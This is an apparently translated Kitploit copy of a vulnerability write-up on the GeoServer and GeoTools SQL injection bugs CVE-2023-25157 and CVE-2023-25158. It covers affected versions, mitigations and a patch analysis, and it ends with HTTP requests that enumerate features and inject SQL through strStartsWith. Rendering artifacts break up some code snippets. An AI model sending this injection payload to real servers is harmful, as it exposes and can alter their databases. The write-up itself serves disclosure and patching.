Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-25157-and-CVE-2023-25158 — GeoServer & GeoTools SQL注入 (CVE-2023-25157 & CVE-2023-25158) | Kitploit
工具/GitHubGitHub/murataydemir/cve-2023-25157-and-cve-2023-25158
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育数据库安全
GitHubmurataydemir/cve-2023-25157-and-cve-2023-25158

CVE-2023-25157-and-CVE-2023-25158

GeoServer & GeoTools SQL注入 (CVE-2023-25157 & CVE-2023-25158)

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
144433年前尚未审核
分享

GeoServer 和 GeoTools SQL 注入(CVE-2023-25157 和 CVE-2023-25158)


本仓库包含对在 GeoServer 平台和 GeoTools 库中发现的 SQL 注入漏洞的详细描述和复现步骤。该漏洞已被分配标识符 CVE-2023-25157(针对 GeoServer)和 CVE-2023-25158(针对 GeoTools)。

GeoServer 是一个用 Java 编写的开源软件服务器,提供查看、编辑和共享地理空间数据的能力。它旨在成为一种灵活、高效的解决方案,用于分发来自地理信息系统(GIS)数据库、基于网络的数据和个人数据集等各种来源的地理空间数据。

GeoServer 遵循开放地理空间联盟(OGC)的数据共享标准,包括 Web 要素服务(WFS)、Web 地图服务(WMS)和 Web 覆盖服务(WCS)。这种对标准的遵循意味着来自 GeoServer 的数据可以用于各种各样的应用程序,从定制构建的 GIS 软件到现成的解决方案。

GeoServer 主要基于 Spring Framework 构建,但同时也使用了许多其他库和框架,包括:

  • GeoTools: 一个开源 Java 库,为地理空间数据提供工具。GeoServer 在许多核心功能(如数据读取、写入和转换)中使用 GeoTools。
  • Hibernate Validator: 用于 Bean 校验。
  • Java Topology Suite (JTS): 一个开源 Java 软件库,为平面几何提供对象模型以及一组基本几何函数。GeoServer 使用它进行几何运算,例如计算边界框。
  • Apache Wicket: 用于 Web 管理界面。它是一个基于组件的 Web 应用程序框架,类似于 JavaServer Faces 和 Tapestry。
  • Log4J: 用于日志记录。

漏洞

所讨论的漏洞深深嵌入在开放地理空间联盟(OGC)标准定义的过滤器和函数表达式中。这些表达式构成了地理空间数据查询和操作的骨干,在 GeoServer 和 GeoTools 等系统的功能中发挥着关键作用。

当这些漏洞被利用时,可能导致严重的安全破坏。未经授权的信息泄露是首要问题,因为攻击者可能访问数据库中存储的敏感数据。未经授权的修改是另一个潜在后果,攻击者能够以对自己有利的方式篡改数据。此外,这些漏洞还可能助长服务中断,成功的利用有可能导致服务不可用。

以下内容对每个已识别的漏洞进行了深入分析。每个漏洞都被详细探讨,讨论了其具体特征、导致其显现的条件以及利用它的潜在影响。以下是针对 GeoServer 发现的漏洞的详细分解:

  • PropertyIsLike 过滤器:当 PropertyIsLike 过滤器与 String 字段配合使用,并结合任何基于关系数据库的 Store、启用了编码函数的 PostGIS DataStore,或任何将索引存储在关系数据库中的影像镶嵌数据集时,存在此漏洞。
  • strEndsWith 函数:当 strEndsWith 函数与启用了编码函数的 PostGIS DataStore 一起使用时,会出现此漏洞。
  • strStartsWith 函数:当 strStartsWith 函数与启用了编码函数的 PostGIS DataStore 一起使用时,会发现此漏洞。
  • FeatureId 过滤器:当 FeatureId 过滤器与任何具有 String 主键列的数据库表一起使用,并且预编译语句(prepared statements)被禁用时,存在此漏洞。
  • jsonArrayContains 函数:当 jsonArrayContains 函数与 String 或 JSON 字段以及 PostGIS 或 Oracle DataStore 一起使用时,会发现此漏洞(仅在 GeoServer 2.22.0 及更高版本中)。
  • DWithin 过滤器:当 DWithin 过滤器与 Oracle DataStore 一起使用时,会发现此漏洞。

以下是针对 GeoTools 发现的漏洞的详细分解:

  • PropertyIsLike 过滤器:
    • 需要启用了编码函数的 PostGIS DataStore
    • 或任何具有 String 字段的 JDBCDataStore(所有关系数据库)(无缓解措施)
  • strEndsWith 函数:
    • 需要启用了编码函数的 PostGIS DataStore
  • strStartsWith 函数:
    • 需要启用了编码函数的 PostGIS DataStore
  • FeatureId 过滤器:
    • 需要禁用预编译语句的 JDBCDataStore(所有关系数据库),且表具有 String 主键(Oracle 不受影响,SQL Server 和 MySQL 没有启用预编译语句的设置,PostGIS 有)
  • jsonArrayContains 函数:
    • 需要具有 String 或 JSON 字段的 PostGIS 和 Oracle DataStore
  • DWithin 过滤器:
    • 仅发生在 Oracle DataStore 中,无缓解措施

受影响版本


  • GeoServer:< 2.21.4、>= 2.22.0 和 < 2.22.2 版本均受 CVE-2023-25157 GeoServer SQL 注入 漏洞影响。
  • GeoTools:< 28.2、< 27.4、<26.7、<25.7、<24.7 版本均受 CVE-2023-25158 GeoTools SQL 注入 漏洞影响。

状态


  • 包含修复内容的更新版 GeoServer(2.21.4、2.22.2、2.20.7、2.19.7 和 2.18.7)现已公开发布。
  • 包含必要补丁的 GeoTools 版本(28.2、27.4、26.7、25.7 和 24.7)现已可供使用。

缓解措施和建议的规避方案


对于 GeoServer SQL 注入(CVE-2023-25157)和 GeoTools SQL 注入(CVE-2023-25158)漏洞,建议采取的行动是升级到上述引用的版本或更高版本。如果已完成此升级,则无需额外步骤。但是,对于那些可能难以立即升级的用户,Geo 团队在下方提供了一些替代解决方案。

  • 禁用 PostGIS Datastore 的 encode functions(编码函数)设置,以缓解 strEndsWith、strStartsWith 漏洞(like 过滤器没有缓解措施,如果已发布的要素类型中存在字符串字段)。

  • 启用 PostGIS DataStore 的 preparedStatements(预编译语句)设置,以缓解 FeatureId 漏洞。```java Map<String, Object> params = new HashMap < >(); params.put("dbtype", "postgis"); params.put("host", "localhost"); params.put("port", 5432); params.put("schema", "public"); params.put("database", "database"); params.put("user", "postgres"); params.put("passwd", "postgres"); params.put("preparedStatements", true); // mitigation params.put("encode functions", false); // mitigation

    DataStore dataStore = DataStoreFinder.getDataStore(params);

root@kitploit:~
- 作为限制攻击面的良好实践,务必为连接池所使用的数据库账户授予最低所需的权限级别(例如,除非使用了 WFS-T/importer/REST granule harvesting,否则仅授予只读权限;访问权限仅限制在生产使用所需的 schema 和表上)
- `PropertyIsLike` 过滤器目前没有可用的缓解措施;在您能够升级之前,可以选择禁用数据库 DataStore。
- 对于 Oracle DataStore 上的 `DWithin`,目前没有可用的缓解措施;在您能够升级之前,可以选择禁用 Oracle DataStore。
### <b>补丁分析:GitHub Issue 及相关提交</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
下方提供了与在 GeoServer 和 GeoTools 中发现的 SQL 注入漏洞相关的若干 JIRA 问题链接。通过这些链接,您可以访问与这些特定漏洞相关的关键数据、讨论内容以及提议的解决方案。
- [GEOS-10842: JDBCConfig: escape user inputs in SQL queries](https://osgeo-org.atlassian.net/browse/GEOS-10842)
- [GEOS-10839: JDBCConfig: add JDBC Configuration parameter to disable SQL comments and pretty-printing](https://osgeo-org.atlassian.net/browse/GEOS-10839)
- [GEOT-7302: Escape user inputs in SQL queries](https://osgeo-org.atlassian.net/browse/GEOT-7302)

查看 [`geoserver/geoserver@145a8af`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b) 提交时,可以清楚地看到以下各自的更改:

- 在 [`ConfigDatabase.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java) 中,新增了一个属性字段,并修改了构造函数以纳入该属性字段。这样可以更灵活地定制数据库配置,并有可能增强安全措施。[`NamedParameterJdbcTemplate`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html) 是 Spring Framework 提供的一个类,它支持使用命名参数来编写 JDBC 语句,而不是使用经典的占位符('?')参数来编写 JDBC 语句。在该提交中,`ConfigDatabase` 构造函数已更新为接受一个 `DataSource`,并据此创建一个 `NamedParameterJdbcTemplate`。命名参数提高了可读性,还能防止 SQL 注入攻击,因为它们清楚地表明参数是参数化的,而不是 SQL 命令的一部分。
  > [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-1b49bc6af3f36da2ebf7a0d8d3af3fa3697ccee91bf67a690f99837ee2730bed)```java
    /* (c) 2014 Open Source Geospatial Foundation - all rights reserved
     * (c) 2001 - 2013 OpenPlans
     * This code is licensed under the GPL 2.0 license, available at the root
     * application directory.
     */
    package org.geoserver.jdbcconfig.internal;
    // import some packages...
    import org.geoserver.jdbcloader.JDBCLoaderProperties;

    public class ConfigDatabase implements ApplicationContextAware {
        public static final Logger LOGGER = Logging.getLogger(ConfigDatabase.class);
        private static final int LOCK_TIMEOUT_SECONDS = 60;

        private Dialect dialect;

        private JDBCLoaderProperties properties;
        // rest of the codebase

        protected ConfigDatabase() {
            //
        }

        public ConfigDatabase(
                JDBCLoaderProperties properties,
                DataSource dataSource,
                XStreamInfoSerialBinding binding) {
            this(properties, dataSource, binding, null);
        }

        public ConfigDatabase(
                JDBCLoaderProperties properties,
                final DataSource dataSource,
                final XStreamInfoSerialBinding binding,
                CacheProvider cacheProvider) {
            this.properties = properties;
            this.binding = binding;
            this.template = new NamedParameterJdbcTemplate(dataSource);
            // cannot use dataSource at this point due to spring context config hack

实际的SQL注入漏洞似乎已通过更安全的SQL构造和执行方式得到修复,具体来说是通过使用参数化查询而非字符串拼接,这可见于对template.queryForObject调用的更改。不再使用sql.toString(),而是使用sql变量本身,该变量似乎是一个安全构造的SQL语句。

src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java```java // count = template.queryForObject(sql.toString(), namedParameters, Integer.class); count = template.queryForObject(sql, namedParameters, Integer.class);

root@kitploit:~
- [`QueryBuilder.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java) 中的 StringBuilder 对象 `sql` 被替换为 String 对象。这一更改对于防止 SQL 注入攻击可能意义重大,因为 StringBuilder 对象是可变的,可能导致 SQL 查询被意外或恶意修改。将其替换为不可变的 String 有助于防止此类修改,从而防止 SQL 注入。
  > [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-a393e831a86b6020d56c521d7b9135179daa804e2cb435b19d85d76eb5d0544bL131-R131)```java
    // private void querySortBy(StringBuilder query, StringBuilder whereClause, SortBy[] orders) {
    private void querySortBy(StringBuilder query, String whereClause, SortBy[] orders) {
         /*
         * Start with the oid and id from the object table selecting for type and the filter.
         *
         * Then left join on oid for each property to sort by to turn it into an attribute.
         *
         * The sort each of the created attribute.
         */
  • SQL 注释转义:在 Dialect.java 类中新增了一个 escapeComment 方法。该方法接收一个注释字符串并对其中的潜在危险字符进行转义。具体来说,它会对 SQL 注释的开头和结尾字符('/*' 和 '*/')进行转义,这些字符在某些 SQL 注入攻击中被使用。

    src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java /** Escapes the contents of the SQL comment to prevent SQL injection. / public String escapeComment(String comment) { String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("\\/"); return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\*"); }

root@kitploit:~
向 SQL 追加注释:`Dialect.java` 类中新增了一个 `appendComment` 方法,用于将对象以注释形式追加到 SQL 中。如果未启用调试模式,这些方法仅返回原始 SQL。如果启用了调试模式,它们会将所提供对象的字符串表示形式以注释的形式追加到 SQL 中。注释会通过 `escapeComment` 方法进行安全转义。
  > [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-b224c54b2d06ede45d4a45d34d64452aaeae70fbe60210e800d85df98a60e432R55-R65)```java
    /** Appends the objects to the SQL in a comment if debug mode is enabled. */
    public StringBuilder appendComment(StringBuilder sql, Object...objects) {
        if (!debugMode) {
            return sql;
        }
        sql.append(" /* ");
        for (Object object: objects) {
            sql.append(escapeComment(String.valueOf(object)));
        }
        return sql.append(" */\n");
    }
    /** Appends the objects to the SQL in an comment if debug mode is enabled. */
    public StringBuilder appendComment(Object sql, Object...objects) {
        return appendComment((StringBuilder) sql, objects);
    }
    /** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
    public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
        return sql.append(debugMode ? ifEnabled : ifDisabled);
    }
  • 条件性地向 SQL 追加字符串:appendIfDebug 方法已添加到 Dialect 类中。该方法根据调试模式是否启用,将提供的两个字符串之一追加到 SQL 中。在 Dialect.java 类中,添加了一个 debugMode 字段,并提供了一个 setDebugMode() 方法来更改其状态。此调试模式随后在 detect() 方法中使用。

    src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java public class Dialect { // rest of the code... public static Dialect detect(DataSource dataSource, boolean debugMode) { Dialect dialect; try { Connection conn = dataSource.getConnection(); } catch (SQLException ex) { throw new RuntimeException(ex); } dialect.setDebugMode(debugMode); return dialect; }

    root@kitploit:~
      public boolean isDebugMode() {
          return debugMode;
      }
    
      public void setDebugMode(boolean debugMode) {
          this.debugMode = debugMode;
      }
    }
    
root@kitploit:~
当查看 [`geotools/geotools@64fb4c4`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b) 提交时,可以分别清楚地看到以下更改:

- 在 [`modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e) 类中添加 `escapeBackslash` 字段是一项预防措施,用于防止某些形式的 SQL 注入,这些注入利用反斜杠字符来转义 SQL 语法中的特殊字符。通过提供对字符串字面量中的反斜杠进行转义的选项,开发人员使应用程序能够将反斜杠字符视为纯文本而非转义字符,从而可以限制 SQL 注入的可能性
这些更改共同作用,通过确保字符串字面量中的特殊字符(如单引号、双引号和反斜杠)在包含到 SQL 查询之前被正确转义,从而防止 SQL 注入。这是缓解 SQL 注入漏洞的常见方法。当 `escapeBackslash` 设置为 true 时,在调用 [`EscapeSql`](https://github.com/geotools/geotools/blob/2da7f4f8cc746dc3d4a31a6323a76797a99e7997/modules/library/jdbc/src/main/java/org/geotools/jdbc/EscapeSql.java#L28) 类的 [`escapeLiteral()`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-9c2f3a1daafd589eb6305170ffa40db051aeda5ae26c22b3438ba5923b451ab7R36-R49) 方法时,字符串字面量中的反斜杠将被转义。该方法在 [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) 类的多个位置使用,以便在字符串字面量包含到 SQL 查询之前对其进行转义。例如,[第 1762 行](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR1761-R1762)```java
  // single quotes must be escaped to have a valid sql string
  String escaped = escapeLiteral(encoding);

此方法是该调用的位置之一,也是 escapeBackslash 设置生效的地方。在原始代码中,应用程序手动将单引号替换为两个单引号,这是 SQL 中转义单引号的常见方式。这一点很重要,因为未转义的单引号可能允许攻击者提前终止字符串字面量,并附加自己的 SQL 命令,从而导致 SQL 注入漏洞。

在修改后的代码中,应用程序不再手动替换单引号,而是调用 EscapeSql.java 类中的 escapeLiteral() 方法。该方法不仅转义单引号,还会转义反斜杠,并且根据其参数可能还会转义双引号:```java public static String escapeLiteral( String literal, boolean escapeBackslash, boolean escapeDoubleQuote) { // ' --> '' String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''"); if (escapeBackslash) { // \ --> \ escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\"); } if (escapeDoubleQuote) { // " --> " escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\""); } return escaped;

root@kitploit:~
通过这样做,应用程序能够确保 SQL 字符串中的所有特殊字符都被正确转义,这是一种更健壮、更安全的防止 SQL 注入的方法。
- `convertToSQL92` 方法中的更改:`LikeFilterImpl.convertToSQL92` 方法将标准 SQL 'LIKE' 语法中的模式转换为 SQL-92 语法。在此提交中,他们向此方法添加了一个新参数。对 [`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) 类中 [line 547](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR546-R547) 的方法的更改:```java
  // String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal);
  String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal, false);

似乎添加了一个标志,很可能影响模式转换过程。此前,该方法调用末尾并不包含 false 参数。这个 false 值大概与 literal 字符串中的某些字符在转换过程中是否被转义有关。转义有助于防止 SQL 注入,因为它能确保 literal 字符串中的特殊字符不会被解释为 SQL 语法的一部分,而只是作为纯文本值处理。

  • 用 writeLiteral() 替换 out.write():用 writeLiteral() 替换 out.write() 是另一项重大变更。out.write() 方法只是将给定的字符串原样写入输出流,不进行任何额外处理或转义。如果字符串中包含任何未转义的 SQL 语法,这就有可能引发 SQL 注入。```java writeLiteral(pattern);
root@kitploit:~
- 另一方面,`writeLiteral()` 大概会在字符串写入输出流之前对其应用某种形式的转义或清理,从而降低 SQL 注入的风险。此更改还用对 `writeLiteral()` 的调用取代了直接的写入操作,这很可能包含防止 SQL 注入的预防措施。```java
  // out.write(attValues.get(j).toString());
  writeLiteral(attValues.get(j));

漏洞利用请求与响应


为了正确利用这些漏洞,首先需要获取:

  1. 可用的功能名称
  2. 每个可用功能的可用属性

分别。因此,将以下请求发送到目标服务器以获取可用的功能名称。``` GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close

root@kitploit:~
![1-get-available-feature-names - Copy](https://assets.kitploit.com/production/public/readmes/29664/1a9741582c0f6afca6ac3d694801f70d78a0d47ea3351ad086a6f653796ad362.png)

获取可用的功能名称后,我们需要发送以下 HTTP 请求,以获取相关可用功能的可用属性。```
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

2-get-available-properties-from-available-features - Copy - Copy

在上述两个 HTTP 请求之后,我们枚举所有可用的功能名称以及与这些功能名称关联的属性名称。在此阶段之后,我们可以通过向服务器发送注入 SQL 载荷的恶意 HTTP 请求来对任何获取到的属性执行利用过程。``` GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName==strStartsWith%28%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close

root@kitploit:~
![3-injection-of-sql-query - Copy](https://assets.kitploit.com/production/public/readmes/29664/b9349929ed21ec2bb21d8819c4417804b455c5b3b5186433816da88a9864abe6.png)

### <b>结论</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
总之,CVE-2023-25157 和 CVE-2023-25158 所披露的 GeoServer 和 GeoTools 中的这些 SQL 注入漏洞,有力地提醒了我们数字领域中始终存在的威胁。这些位于核心 OGC 过滤器和函数表达式中的漏洞,有可能造成严重的破坏以及未经授权的数据访问或修改。

有关这些漏洞修复的更多信息,请访问以下资源:

- 用于修复该漏洞的提交:[geoserver/geoserver@145a8af](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d)
- 用于修复该漏洞的提交:[geotools/geotools@64fb4c4](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)
- [GeoServer OGC 过滤器 SQL 注入漏洞](https://geoserver.org/vulnerability/2023/02/20/ogc-filter-injection.html) 和 [GeoTools OGC 过滤器 SQL 注入漏洞](http://geotoolsnews.blogspot.com/2023/02/geotools-274-released.html)
- [GitHub 公告数据库(GitHub 已审核):GeoServer SQL 注入](https://github.com/advisories/GHSA-7g5f-wrx8-5ccf)、[GeoServer 公告数据库:GeoServer 上的 SQL 注入](https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf) 和 [GeoTools 公告数据库:GeoTools 上的 SQL 注入](https://github.com/geotools/geotools/security/advisories/GHSA-99c3-qc2q-p94m)
- [NIST 针对 GeoServer 的公告:CVE-2023-25157](https://nvd.nist.gov/vuln/detail/CVE-2023-25157) 和 [NIST 针对 GeoTools 的公告:CVE-2023-25158](https://nvd.nist.gov/vuln/detail/CVE-2023-25158)
- [MITRE 针对 GeoServer 的公告:CVE-2023-25157](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25157) 和 [MITRE 针对 GeoTools 的公告:CVE-2023-25158](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25158)
下载工具